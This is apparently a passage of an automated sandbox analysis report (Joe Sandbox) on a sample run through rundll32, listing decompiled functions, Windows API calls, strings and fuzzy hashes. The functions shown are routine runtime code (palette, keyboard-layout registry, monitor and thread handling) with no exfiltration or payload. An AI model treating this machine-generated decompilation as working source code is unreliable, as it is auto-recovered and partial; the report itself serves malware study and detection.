WriteFile.KERNEL32(00000000,000000F5,Runtime error at 00000000,0000001E,00A9B89C,00000000,?,009D417A,?,?,00A9F638,?,?,00A9C0BC,009D6835,00A9B89C), ref: 009D40EB
GetStdHandle.KERNEL32(000000F5,009D4134,00000002,00A9B89C,00000000,00000000,000000F5,Runtime error at 00000000,0000001E,00A9B89C,00000000,?,009D417A,?,?,00A9F638), ref: 009D4100
WriteFile.KERNEL32(00000000,000000F5,009D4134,00000002,00A9B89C,00000000,00000000,000000F5,Runtime error at 00000000,0000001E,00A9B89C,00000000,?,009D417A,?,?), ref: 009D4106
MessageBoxA.USER32 ref: 009D4124

Strings

Runtime error at 00000000, xrefs: 009D40DE, 009D411D
Error, xrefs: 009D4118

Memory Dump Source

Source File: 00000002.00000002.323140727.00000000009D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000002.00000002.323135167.00000000009D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.323238271.0000000000A9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.323247473.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9d0000_rundll32.jbxd

Similarity

API ID: FileHandleWrite$Message
String ID: Error$Runtime error at 00000000
API String ID: 1570097196-2970929446
Opcode ID: 02b03ea8c3c96e91cf228b79f72af6289c45ab83adc7a06b9dc968909460a8ff
Instruction ID: 4a7fd607284ec95a39a72de3ccfeda4013a61604edd3ba14ae2ed3065d7be2f7
Opcode Fuzzy Hash: 02b03ea8c3c96e91cf228b79f72af6289c45ab83adc7a06b9dc968909460a8ff
Instruction Fuzzy Hash: C5F090567C4340BAEE20E7949E06FD9229C9794F39F14C627B210E42F39BF444C58621

Uniqueness

Uniqueness Score: -1.00%

Function 009F59C4 Relevance: 12.1, APIs: 8, Instructions: 79
windowCOMMON

Download Yara Rule

C-Code - Quality: 70%

			E009F59C4(void* __ebx) {
				struct HDC__* _v8;
				struct tagPALETTEENTRY _v1000;
				struct tagPALETTEENTRY _v1004;
				struct tagPALETTEENTRY _v1032;
				signed int _v1034;
				short _v1036;
				void* _t24;
				int _t53;
				intOrPtr _t60;
				void* _t62;
				void* _t63;

				_t62 = _t63;
				_v1036 = 0x300;
				_v1034 = 0x10;
				E009D2AC8(_t24, 0x40,  &_v1032);
				_v8 = GetDC(0);
				_push(_t62);
				_push(0x9f5ac1);
				_push( *[fs:eax]);
				 *[fs:eax] = _t63 + 0xfffffbf8;
				_t53 = GetDeviceCaps(_v8, 0x68);
				if(_t53 >= 0x10) {
					GetSystemPaletteEntries(_v8, 0, 8,  &_v1032);
					if(_v1004 != 0xc0c0c0) {
						GetSystemPaletteEntries(_v8, _t53 - 8, 8, _t62 + (_v1034 & 0x0000ffff) * 4 - 0x424);
					} else {
						GetSystemPaletteEntries(_v8, _t53 - 8, 1,  &_v1004);
						GetSystemPaletteEntries(_v8, _t53 - 7, 7, _t62 + (_v1034 & 0x0000ffff) * 4 - 0x420);
						GetSystemPaletteEntries(_v8, 7, 1,  &_v1000);
					}
				}
				_pop(_t60);
				 *[fs:eax] = _t60;
				_push(0x9f5ac8);
				return ReleaseDC(0, _v8);
			}

0x009f59c5
0x009f59ce
0x009f59d7
0x009f59eb
0x009f59f7
0x009f59fc
0x009f59fd
0x009f5a02
0x009f5a05
0x009f5a13
0x009f5a18
0x009f5a2d
0x009f5a3c
0x009f5aa3
0x009f5a3e
0x009f5a51
0x009f5a6f
0x009f5a83
0x009f5a83
0x009f5a3c
0x009f5aaa
0x009f5aad
0x009f5ab0
0x009f5ac0

APIs

GetDC.USER32(00000000), ref: 009F59F2
GetDeviceCaps.GDI32(?,00000068), ref: 009F5A0E
GetSystemPaletteEntries.GDI32(?,00000000,00000008,?), ref: 009F5A2D
GetSystemPaletteEntries.GDI32(?,-00000008,00000001,00C0C0C0), ref: 009F5A51
GetSystemPaletteEntries.GDI32(?,00000000,00000007,?), ref: 009F5A6F
GetSystemPaletteEntries.GDI32(?,00000007,00000001,?), ref: 009F5A83
GetSystemPaletteEntries.GDI32(?,00000000,00000008,?), ref: 009F5AA3
ReleaseDC.USER32 ref: 009F5ABB

Memory Dump Source

Source File: 00000002.00000002.323140727.00000000009D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000002.00000002.323135167.00000000009D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.323238271.0000000000A9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.323247473.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9d0000_rundll32.jbxd

Similarity

API ID: EntriesPaletteSystem$CapsDeviceRelease
String ID:
API String ID: 1781840570-0
Opcode ID: 2e57972663019466335b193b2c5c3779c8132199cc57538c84c92bfd907a371f
Instruction ID: 7eeb82a6c15d3078c049acc000c74cd6106880a582c449854cc3ddcef90a7f23
Opcode Fuzzy Hash: 2e57972663019466335b193b2c5c3779c8132199cc57538c84c92bfd907a371f
Instruction Fuzzy Hash: DA2183B1A40608BADB10DBA8DD85FAEB3ACEB88704F5145D1F704E72C1D775AE509B24

Uniqueness

Uniqueness Score: -1.00%

Function 00A0A59C Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 125
registryCOMMON

Download Yara Rule

C-Code - Quality: 76%

			E00A0A59C(intOrPtr __eax, void* __ebx, void* __fp0) {
				intOrPtr _v8;
				int _v12;
				void* _v16;
				char _v20;
				void* _v24;
				struct HKL__* _v280;
				char _v536;
				char _v600;
				char _v604;
				char _v608;
				char _v612;
				void* _t60;
				intOrPtr _t106;
				intOrPtr _t111;
				void* _t117;
				void* _t118;
				intOrPtr _t119;
				void* _t129;

				_t129 = __fp0;
				_t117 = _t118;
				_t119 = _t118 + 0xfffffda0;
				_v612 = 0;
				_v8 = __eax;
				_push(_t117);
				_push(0xa0a747);
				_push( *[fs:eax]);
				 *[fs:eax] = _t119;
				if( *((intOrPtr*)(_v8 + 0x34)) != 0) {
					L11:
					_pop(_t106);
					 *[fs:eax] = _t106;
					_push(0xa0a74e);
					return E009D4228( &_v612);
				} else {
					 *((intOrPtr*)(_v8 + 0x34)) = E009D3350(1);
					E009D4228(_v8 + 0x38);
					_t60 = GetKeyboardLayoutList(0x40,  &_v280) - 1;
					if(_t60 < 0) {
						L10:
						 *((char*)( *((intOrPtr*)(_v8 + 0x34)) + 0x1d)) = 0;
						E009ED218( *((intOrPtr*)(_v8 + 0x34)), 1);
						goto L11;
					} else {
						_v20 = _t60 + 1;
						_v24 =  &_v280;
						do {
							if(E00A25A90( *_v24) == 0) {
								goto L9;
							} else {
								_v608 =  *_v24;
								_v604 = 0;
								if(RegOpenKeyExA(0x80000002, E009D97D0( &_v600,  &_v608, "System\\CurrentControlSet\\Control\\Keyboard Layouts\\%.8x", _t129, 0), 0, 0x20019,  &_v16) != 0) {
									goto L9;
								} else {
									_push(_t117);
									_push(0xa0a703);
									_push( *[fs:eax]);
									 *[fs:eax] = _t119;
									_v12 = 0x100;
									if(RegQueryValueExA(_v16, "layout text", 0, 0,  &_v536,  &_v12) == 0) {
										E009D4498( &_v612, 0x100,  &_v536);
										 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_v8 + 0x34)))) + 0x3c))();
										if( *_v24 ==  *((intOrPtr*)(_v8 + 0x3c))) {
											E009D4498(_v8 + 0x38, 0x100,  &_v536);
										}
									}
									_pop(_t111);
									 *[fs:eax] = _t111;
									_push(0xa0a70a);
									return RegCloseKey(_v16);
								}
							}
							goto L12;
							L9:
							_v24 = _v24 + 4;
							_t38 =  &_v20;
							 *_t38 = _v20 - 1;
						} while ( *_t38 != 0);
						goto L10;
					}
				}
				L12:
			}

0x00a0a59c
0x00a0a59d
0x00a0a59f
0x00a0a5a8
0x00a0a5ae
0x00a0a5b3
0x00a0a5b4
0x00a0a5b9
0x00a0a5bc
0x00a0a5c6
0x00a0a728
0x00a0a730
0x00a0a733
0x00a0a736
0x00a0a746
0x00a0a5cc
0x00a0a5db
0x00a0a5e4
0x00a0a5f7
0x00a0a5fa
0x00a0a717
0x00a0a71d
0x00a0a723
0x00000000
0x00a0a600
0x00a0a601
0x00a0a60a
0x00a0a60d
0x00a0a619
0x00000000
0x00a0a61f
0x00a0a631
0x00a0a637
0x00a0a661
0x00000000
0x00a0a667
0x00a0a669
0x00a0a66a
0x00a0a66f
0x00a0a672
0x00a0a675
0x00a0a69b
0x00a0a6ae
0x00a0a6c6
0x00a0a6d4
0x00a0a6e7
0x00a0a6e7
0x00a0a6d4
0x00a0a6ee
0x00a0a6f1
0x00a0a6f4
0x00a0a702
0x00a0a702
0x00a0a661
0x00000000
0x00a0a70a
0x00a0a70a
0x00a0a70e
0x00a0a70e
0x00a0a70e
0x00000000
0x00a0a60d
0x00a0a5fa
0x00000000

APIs

GetKeyboardLayoutList.USER32(00000040,?,00000000,00A0A747,?,00F71458,?,00A0A7A9,00000000,?,00A1CD8F), ref: 00A0A5F2
RegOpenKeyExA.ADVAPI32(80000002,00000000), ref: 00A0A65A
RegQueryValueExA.ADVAPI32(?,layout text,00000000,00000000,?,00000100,00000000,00A0A703,?,80000002,00000000), ref: 00A0A694
RegCloseKey.ADVAPI32(?,00A0A70A,00000000,?,00000100,00000000,00A0A703,?,80000002,00000000), ref: 00A0A6FD

Strings

layout text, xrefs: 00A0A68B
System\CurrentControlSet\Control\Keyboard Layouts\%.8x, xrefs: 00A0A644

Memory Dump Source

Source File: 00000002.00000002.323140727.00000000009D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000002.00000002.323135167.00000000009D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.323238271.0000000000A9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.323247473.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9d0000_rundll32.jbxd

Similarity

API ID: CloseKeyboardLayoutListOpenQueryValue
String ID: System\CurrentControlSet\Control\Keyboard Layouts\%.8x$layout text
API String ID: 1703357764-2652665750
Opcode ID: 4881d37705745ca5518d79ccf41b350e90fdca6449ca175f4b418b58caca4368
Instruction ID: ab7505ce9d3b535b6bbc9e9fba841c7a875bba9467399ab0508a156f4b814c2d
Opcode Fuzzy Hash: 4881d37705745ca5518d79ccf41b350e90fdca6449ca175f4b418b58caca4368
Instruction Fuzzy Hash: 24411774A4020DAFDB11DFA4D985B9EB7F8FB58300F5184A1E904E7391D771AE40DB62

Uniqueness

Uniqueness Score: -1.00%

Function 009F9E88 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 68
stringCOMMON

Download Yara Rule

C-Code - Quality: 47%

			E009F9E88(intOrPtr _a4, intOrPtr* _a8) {
				void _v20;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t23;
				int _t24;
				intOrPtr _t26;
				intOrPtr _t27;
				intOrPtr* _t29;
				intOrPtr* _t31;

				_t29 = _a8;
				_t27 = _a4;
				if( *0xa9f921 != 0) {
					_t24 = 0;
					if(_t27 == 0x12340042 && _t29 != 0 &&  *_t29 >= 0x28 && SystemParametersInfoA(0x30, 0,  &_v20, 0) != 0) {
						 *((intOrPtr*)(_t29 + 4)) = 0;
						 *((intOrPtr*)(_t29 + 8)) = 0;
						 *((intOrPtr*)(_t29 + 0xc)) = GetSystemMetrics(0);
						 *((intOrPtr*)(_t29 + 0x10)) = GetSystemMetrics(1);
						asm("movsd");
						asm("movsd");
						asm("movsd");
						asm("movsd");
						_t31 = _t29;
						 *(_t31 + 0x24) = 1;
						if( *_t31 >= 0x4c) {
							_push("DISPLAY");
							_push(_t31 + 0x28);
							L009D6E54();
						}
						_t24 = 1;
					}
				} else {
					_t26 =  *0xa9f908; // 0x9f9e88
					 *0xa9f908 = E009F9A84(5, _t23, _t26, _t27, _t29);
					_t24 =  *0xa9f908(_t27, _t29);
				}
				return _t24;
			}

0x009f9e91
0x009f9e94
0x009f9e9e
0x009f9ec3
0x009f9ecb
0x009f9eeb
0x009f9ef0
0x009f9efb
0x009f9f06
0x009f9f10
0x009f9f11
0x009f9f12
0x009f9f13
0x009f9f14
0x009f9f15
0x009f9f1f
0x009f9f21
0x009f9f29
0x009f9f2a
0x009f9f2a
0x009f9f2f
0x009f9f2f
0x009f9ea0
0x009f9ea5
0x009f9eb2
0x009f9ebf
0x009f9ebf
0x009f9f39

APIs

SystemParametersInfoA.USER32(00000030,00000000,?,00000000), ref: 009F9EE0
GetSystemMetrics.USER32 ref: 009F9EF5
GetSystemMetrics.USER32 ref: 009F9F00
lstrcpy.KERNEL32(?,DISPLAY), ref: 009F9F2A

Part of subcall function 009F9A84: GetProcAddress.KERNEL32(75BA0000,00000000), ref: 009F9B04

Strings

GetMonitorInfoA, xrefs: 009F9EA0
DISPLAY, xrefs: 009F9F21

Memory Dump Source

Source File: 00000002.00000002.323140727.00000000009D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000002.00000002.323135167.00000000009D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.323238271.0000000000A9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.323247473.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9d0000_rundll32.jbxd

Similarity

API ID: System$Metrics$AddressInfoParametersProclstrcpy
String ID: DISPLAY$GetMonitorInfoA
API String ID: 2545840971-1370492664
Opcode ID: cdbac588b62e440f631bdcf7693f0e2ab75af711efd2a9f69471367668e453b9
Instruction ID: e944ba306aa3dae197810a8f3fca113951fcae05267c86592b93a46334a4ddbb
Opcode Fuzzy Hash: cdbac588b62e440f631bdcf7693f0e2ab75af711efd2a9f69471367668e453b9
Instruction Fuzzy Hash: 19119031B12319AFD720CFA59C44BBBB7E8EB45710F10452AEA59D7250D7B0AC45CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 009F9F5C Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 68
stringCOMMON

Download Yara Rule

C-Code - Quality: 47%

			E009F9F5C(intOrPtr _a4, intOrPtr* _a8) {
				void _v20;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t23;
				int _t24;
				intOrPtr _t26;
				intOrPtr _t27;
				intOrPtr* _t29;
				intOrPtr* _t31;

				_t29 = _a8;
				_t27 = _a4;
				if( *0xa9f922 != 0) {
					_t24 = 0;
					if(_t27 == 0x12340042 && _t29 != 0 &&  *_t29 >= 0x28 && SystemParametersInfoA(0x30, 0,  &_v20, 0) != 0) {
						 *((intOrPtr*)(_t29 + 4)) = 0;
						 *((intOrPtr*)(_t29 + 8)) = 0;
						 *((intOrPtr*)(_t29 + 0xc)) = GetSystemMetrics(0);
						 *((intOrPtr*)(_t29 + 0x10)) = GetSystemMetrics(1);
						asm("movsd");
						asm("movsd");
						asm("movsd");
						asm("movsd");
						_t31 = _t29;
						 *(_t31 + 0x24) = 1;
						if( *_t31 >= 0x4c) {
							_push("DISPLAY");
							_push(_t31 + 0x28);
							L009D6E54();
						}
						_t24 = 1;
					}
				} else {
					_t26 =  *0xa9f90c; // 0x9f9f5c
					 *0xa9f90c = E009F9A84(6, _t23, _t26, _t27, _t29);
					_t24 =  *0xa9f90c(_t27, _t29);
				}
				return _t24;
			}

0x009f9f65
0x009f9f68
0x009f9f72
0x009f9f97
0x009f9f9f
0x009f9fbf
0x009f9fc4
0x009f9fcf
0x009f9fda
0x009f9fe4
0x009f9fe5
0x009f9fe6
0x009f9fe7
0x009f9fe8
0x009f9fe9
0x009f9ff3
0x009f9ff5
0x009f9ffd
0x009f9ffe
0x009f9ffe
0x009fa003
0x009fa003
0x009f9f74
0x009f9f79
0x009f9f86
0x009f9f93
0x009f9f93
0x009fa00d

APIs

SystemParametersInfoA.USER32(00000030,00000000,?,00000000), ref: 009F9FB4
GetSystemMetrics.USER32 ref: 009F9FC9
GetSystemMetrics.USER32 ref: 009F9FD4
lstrcpy.KERNEL32(?,DISPLAY), ref: 009F9FFE

Part of subcall function 009F9A84: GetProcAddress.KERNEL32(75BA0000,00000000), ref: 009F9B04

Strings

DISPLAY, xrefs: 009F9FF5
GetMonitorInfoW, xrefs: 009F9F74

Memory Dump Source

Source File: 00000002.00000002.323140727.00000000009D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000002.00000002.323135167.00000000009D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.323238271.0000000000A9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.323247473.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9d0000_rundll32.jbxd

Similarity

API ID: System$Metrics$AddressInfoParametersProclstrcpy
String ID: DISPLAY$GetMonitorInfoW
API String ID: 2545840971-2774842281
Opcode ID: 042400e85afb9dd985aa29c9a7ef1a0ebb6054637a2fdaa07b43a904cf6accb9
Instruction ID: 5550cf1e22ae2a5926b337b80904a64a7addfde4f3f9444a474c092ce361000c
Opcode Fuzzy Hash: 042400e85afb9dd985aa29c9a7ef1a0ebb6054637a2fdaa07b43a904cf6accb9
Instruction Fuzzy Hash: 4211B171601309AFD720CFA5AC44BB7B7E8EB46710F14C52AEE49D7240DB70B805CBA6

Uniqueness

Uniqueness Score: -1.00%

Function 009F6DB4 Relevance: 10.6, APIs: 7, Instructions: 66
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E009F6DB4(int __eax, void* __ecx, intOrPtr __edx) {
				intOrPtr _v8;
				struct HDC__* _v12;
				struct HDC__* _v16;
				void* _v20;
				struct tagRGBQUAD _v1044;
				int _t16;
				int _t37;
				intOrPtr _t44;
				void* _t46;
				void* _t49;
				void* _t51;
				intOrPtr _t52;

				_t16 = __eax;
				_t49 = _t51;
				_t52 = _t51 + 0xfffffbf0;
				_v8 = __edx;
				_t46 = __eax;
				if(__eax == 0 ||  *((short*)(__ecx + 0x26)) > 8) {
					L4:
					return _t16;
				} else {
					_t16 = E009F5C18(_v8, 0xff,  &_v1044);
					_t37 = _t16;
					if(_t37 == 0) {
						goto L4;
					} else {
						_v12 = GetDC(0);
						_v16 = CreateCompatibleDC(_v12);
						_v20 = SelectObject(_v16, _t46);
						_push(_t49);
						_push(0x9f6e63);
						_push( *[fs:eax]);
						 *[fs:eax] = _t52;
						SetDIBColorTable(_v16, 0, _t37,  &_v1044);
						_pop(_t44);
						 *[fs:eax] = _t44;
						_push(0x9f6e6a);
						SelectObject(_v16, _v20);
						DeleteDC(_v16);
						return ReleaseDC(0, _v12);
					}
				}
			}

0x009f6db4
0x009f6db5
0x009f6db7
0x009f6dbf
0x009f6dc2
0x009f6dc6
0x009f6e6a
0x009f6e6f
0x009f6dd7
0x009f6de5
0x009f6dea
0x009f6dee
0x00000000
0x009f6df0
0x009f6df7
0x009f6e03
0x009f6e10
0x009f6e15
0x009f6e16
0x009f6e1b
0x009f6e1e
0x009f6e2f
0x009f6e36
0x009f6e39
0x009f6e3c
0x009f6e49
0x009f6e52
0x009f6e62
0x009f6e62
0x009f6dee

APIs

Part of subcall function 009F5C18: GetObjectA.GDI32(?,00000004), ref: 009F5C2F
Part of subcall function 009F5C18: GetPaletteEntries.GDI32(?,00000000,?,?), ref: 009F5C52

GetDC.USER32(00000000), ref: 009F6DF2
CreateCompatibleDC.GDI32(?), ref: 009F6DFE
SelectObject.GDI32(?), ref: 009F6E0B
SetDIBColorTable.GDI32(?,00000000,00000000,?,00000000,009F6E63,?,?,?,?,00000000), ref: 009F6E2F
SelectObject.GDI32(?,?), ref: 009F6E49
DeleteDC.GDI32(?), ref: 009F6E52
ReleaseDC.USER32 ref: 009F6E5D

Memory Dump Source

Source File: 00000002.00000002.323140727.00000000009D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000002.00000002.323135167.00000000009D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.323238271.0000000000A9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.323247473.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9d0000_rundll32.jbxd

Similarity

API ID: Object$Select$ColorCompatibleCreateDeleteEntriesPaletteReleaseTable
String ID:
API String ID: 4046155103-0
Opcode ID: 6cc6f42dc31a9ce6b8e537b584e66dd41cad54c3c324acf39be97352a9a4ba7b
Instruction ID: 3680824f8e58f369b35121208a1c978cb3ed776bd7cf048e80a463ce21f692e9
Opcode Fuzzy Hash: 6cc6f42dc31a9ce6b8e537b584e66dd41cad54c3c324acf39be97352a9a4ba7b
Instruction Fuzzy Hash: 01115E76E54718ABDB10EBE8DC51BAEB7BCEB88704F0084A6BA04E7341D7719D508B60

Uniqueness

Uniqueness Score: -1.00%

Function 009F1064 Relevance: 9.1, APIs: 6, Instructions: 109
threadCOMMON

Download Yara Rule

C-Code - Quality: 67%

			E009F1064(void* __eax, void* __ebx, void* __edi, void* __esi) {
				char _v5;
				intOrPtr* _v12;
				long _v16;
				char _v20;
				char _v24;
				long _t22;
				char _t29;
				void* _t53;
				intOrPtr _t61;
				intOrPtr* _t62;
				intOrPtr _t63;
				intOrPtr _t66;
				intOrPtr _t67;
				void* _t72;
				void* _t73;
				intOrPtr _t74;

				_t72 = _t73;
				_t74 = _t73 + 0xffffffec;
				_push(__esi);
				_push(__edi);
				_t53 = __eax;
				_t22 = GetCurrentThreadId();
				_t62 =  *0xa9e638; // 0xa9f034
				if(_t22 !=  *_t62) {
					_v24 = GetCurrentThreadId();
					_v20 = 0;
					_t61 =  *0xa9e3fc; // 0x9e716c
					E009DC2BC(_t53, _t61, 1, __edi, __esi, 0,  &_v24);
					E009D3BC0();
				}
				if(_t53 <= 0) {
					E009F103C();
				} else {
					E009F1048(_t53);
				}
				_v16 = 0;
				_push(0xa9f870);
				L009D6C5C();
				_push(_t72);
				_push(0x9f11f2);
				_push( *[fs:eax]);
				 *[fs:eax] = _t74;
				_v16 = InterlockedExchange(0xa9c614, _v16);
				_push(_t72);
				_push(0x9f11d3);
				_push( *[fs:eax]);
				 *[fs:eax] = _t74;
				if(_v16 == 0 ||  *((intOrPtr*)(_v16 + 8)) <= 0) {
					_t29 = 0;
				} else {
					_t29 = 1;
				}
				_v5 = _t29;
				if(_v5 == 0) {
					L14:
					_pop(_t63);
					 *[fs:eax] = _t63;
					_push(0x9f11da);
					return E009D3380(_v16);
				} else {
					if( *((intOrPtr*)(_v16 + 8)) > 0) {
						_v12 = E009EB65C(_v16, 0);
						E009EB54C(_v16, 0);
						L009D6DB4();
						 *[fs:eax] = _t74;
						 *[fs:eax] = _t74;
						 *((intOrPtr*)( *_v12 + 8))( *[fs:eax], _t72,  *[fs:eax], 0x9f119d, _t72, 0xa9f870);
						_pop(_t66);
						 *[fs:eax] = _t66;
						_t67 = 0x9f116e;
						 *[fs:eax] = _t67;
						_push(0x9f11a4);
						_push(0xa9f870);
						L009D6C5C();
						return 0;
					} else {
						goto L14;
					}
				}
			}

0x009f1065
0x009f1067
0x009f106b
0x009f106c
0x009f106d
0x009f106f
0x009f1074
0x009f107c
0x009f1083
0x009f1086
0x009f1090
0x009f109d
0x009f10a2
0x009f10a2
0x009f10a9
0x009f10b4
0x009f10ab
0x009f10ad
0x009f10ad
0x009f10bb
0x009f10be
0x009f10c3
0x009f10ca
0x009f10cb
0x009f10d0
0x009f10d3
0x009f10e4
0x009f10e9
0x009f10ea
0x009f10ef
0x009f10f2
0x009f10f9
0x009f1104
0x009f1108
0x009f1108
0x009f1108
0x009f110a
0x009f1111
0x009f11bd
0x009f11bf
0x009f11c2
0x009f11c5
0x009f11d2
0x009f1117
0x009f11b7
0x009f1126
0x009f112e
0x009f1138
0x009f1148
0x009f1156
0x009f1161
0x009f1166
0x009f1169
0x009f1187
0x009f118a
0x009f118d
0x009f1192
0x009f1197
0x009f119c
0x00000000
0x00000000
0x00000000
0x009f11b7

APIs

GetCurrentThreadId.KERNEL32 ref: 009F106F
GetCurrentThreadId.KERNEL32 ref: 009F107E

Part of subcall function 009F103C: ResetEvent.KERNEL32(000000BC,009F10B9), ref: 009F1042

RtlEnterCriticalSection.KERNEL32(00A9F870), ref: 009F10C3
InterlockedExchange.KERNEL32(00A9C614,?), ref: 009F10DF
RtlLeaveCriticalSection.KERNEL32(00A9F870,00000000,009F11D3,?,00000000,009F11F2,?,00A9F870), ref: 009F1138
RtlEnterCriticalSection.KERNEL32(00A9F870,009F11A4,009F11D3,?,00000000,009F11F2,?,00A9F870), ref: 009F1197

Memory Dump Source

Source File: 00000002.00000002.323140727.00000000009D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000002.00000002.323135167.00000000009D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.323238271.0000000000A9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.323247473.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9d0000_rundll32.jbxd

Similarity

API ID: CriticalSection$CurrentEnterThread$EventExchangeInterlockedLeaveReset
String ID:
API String ID: 2189153385-0
Opcode ID: 25eb5fa24cb3a3ed58335686ce9733c97bb37589bd924d24c81ab66705e3aaa7
Instruction ID: 44515251c503346ed84a05ea4e722dd04fd0576b84cd03b2cfacfab95c836d10
Opcode Fuzzy Hash: 25eb5fa24cb3a3ed58335686ce9733c97bb37589bd924d24c81ab66705e3aaa7
Instruction Fuzzy Hash: C631BF30B58648EFDB01DFB4CC52A7AB7F8EB89700F55C866F600D6651DB359940CB61

Uniqueness

Uniqueness Score: -1.00%

Function 009F5EC4 Relevance: 9.1, APIs: 6, Instructions: 84
COMMON

Download Yara Rule

C-Code - Quality: 81%

			E009F5EC4(intOrPtr* __eax, void* __ebx, signed int __ecx, intOrPtr __edx, void* __edi, void* __esi, void* __eflags, signed int* _a4, signed int* _a8) {
				intOrPtr* _v8;
				intOrPtr _v12;
				signed int _v16;
				intOrPtr _v20;
				signed int _v24;
				signed int _v32;
				struct HDC__* _v44;
				signed int* _t36;
				signed int _t39;
				signed int _t42;
				signed int* _t52;
				signed int _t56;
				intOrPtr _t66;
				void* _t72;
				void* _t73;
				void* _t74;
				intOrPtr _t75;

				_t73 = _t74;
				_t75 = _t74 + 0xffffff90;
				_v16 = __ecx;
				_v12 = __edx;
				_v8 = __eax;
				_t52 = _a8;
				_v24 = _v16 << 4;
				_v20 = E009D8764(_v24, __eflags);
				 *[fs:edx] = _t75;
				_t56 = _v24;
				 *((intOrPtr*)( *_v8 + 0xc))( *[fs:edx], 0x9f61bb, _t73, __edi, __esi, __ebx, _t72);
				if(( *_t52 | _t52[1]) != 0) {
					_t36 = _a4;
					 *_t36 =  *_t52;
					_t36[1] = _t52[1];
				} else {
					 *_a4 = GetSystemMetrics(0xb);
					_a4[1] = GetSystemMetrics(0xc);
				}
				_v44 = GetDC(0);
				if(_v44 == 0) {
					E009F5388(_t56);
				}
				_push(_t73);
				_push(0x9f5fad);
				_push( *[fs:edx]);
				 *[fs:edx] = _t75;
				_t39 = GetDeviceCaps(_v44, 0xe);
				_t42 = _t39 * GetDeviceCaps(_v44, 0xc);
				if(_t42 <= 8) {
					__eflags = 1;
					_v32 = 1 << _t42;
				} else {
					_v32 = 0x7fffffff;
				}
				_pop(_t66);
				 *[fs:eax] = _t66;
				_push(0x9f5fb4);
				return ReleaseDC(0, _v44);
			}

0x009f5ec5
0x009f5ec7
0x009f5ecd
0x009f5ed0
0x009f5ed3
0x009f5ed6
0x009f5edf
0x009f5eea
0x009f5ef8
0x009f5efe
0x009f5f06
0x009f5f0e
0x009f5f2b
0x009f5f30
0x009f5f35
0x009f5f10
0x009f5f1a
0x009f5f26
0x009f5f26
0x009f5f3f
0x009f5f46
0x009f5f48
0x009f5f48
0x009f5f4f
0x009f5f50
0x009f5f55
0x009f5f58
0x009f5f61
0x009f5f77
0x009f5f7d
0x009f5f8f
0x009f5f91
0x009f5f7f
0x009f5f7f
0x009f5f7f
0x009f5f96
0x009f5f99
0x009f5f9c
0x009f5fac

APIs

GetSystemMetrics.USER32 ref: 009F5F12
GetSystemMetrics.USER32 ref: 009F5F1E
GetDC.USER32(00000000), ref: 009F5F3A
GetDeviceCaps.GDI32(00000000,0000000E), ref: 009F5F61
GetDeviceCaps.GDI32(00000000,0000000C), ref: 009F5F6E
ReleaseDC.USER32 ref: 009F5FA7

Memory Dump Source

Source File: 00000002.00000002.323140727.00000000009D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000002.00000002.323135167.00000000009D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.323238271.0000000000A9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.323247473.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9d0000_rundll32.jbxd

Similarity

API ID: CapsDeviceMetricsSystem$Release
String ID:
API String ID: 447804332-0
Opcode ID: 432ee5f91a8378fe5b03a845c0f0a13692f62fe8703f5df8a1ff97568ad16fcd
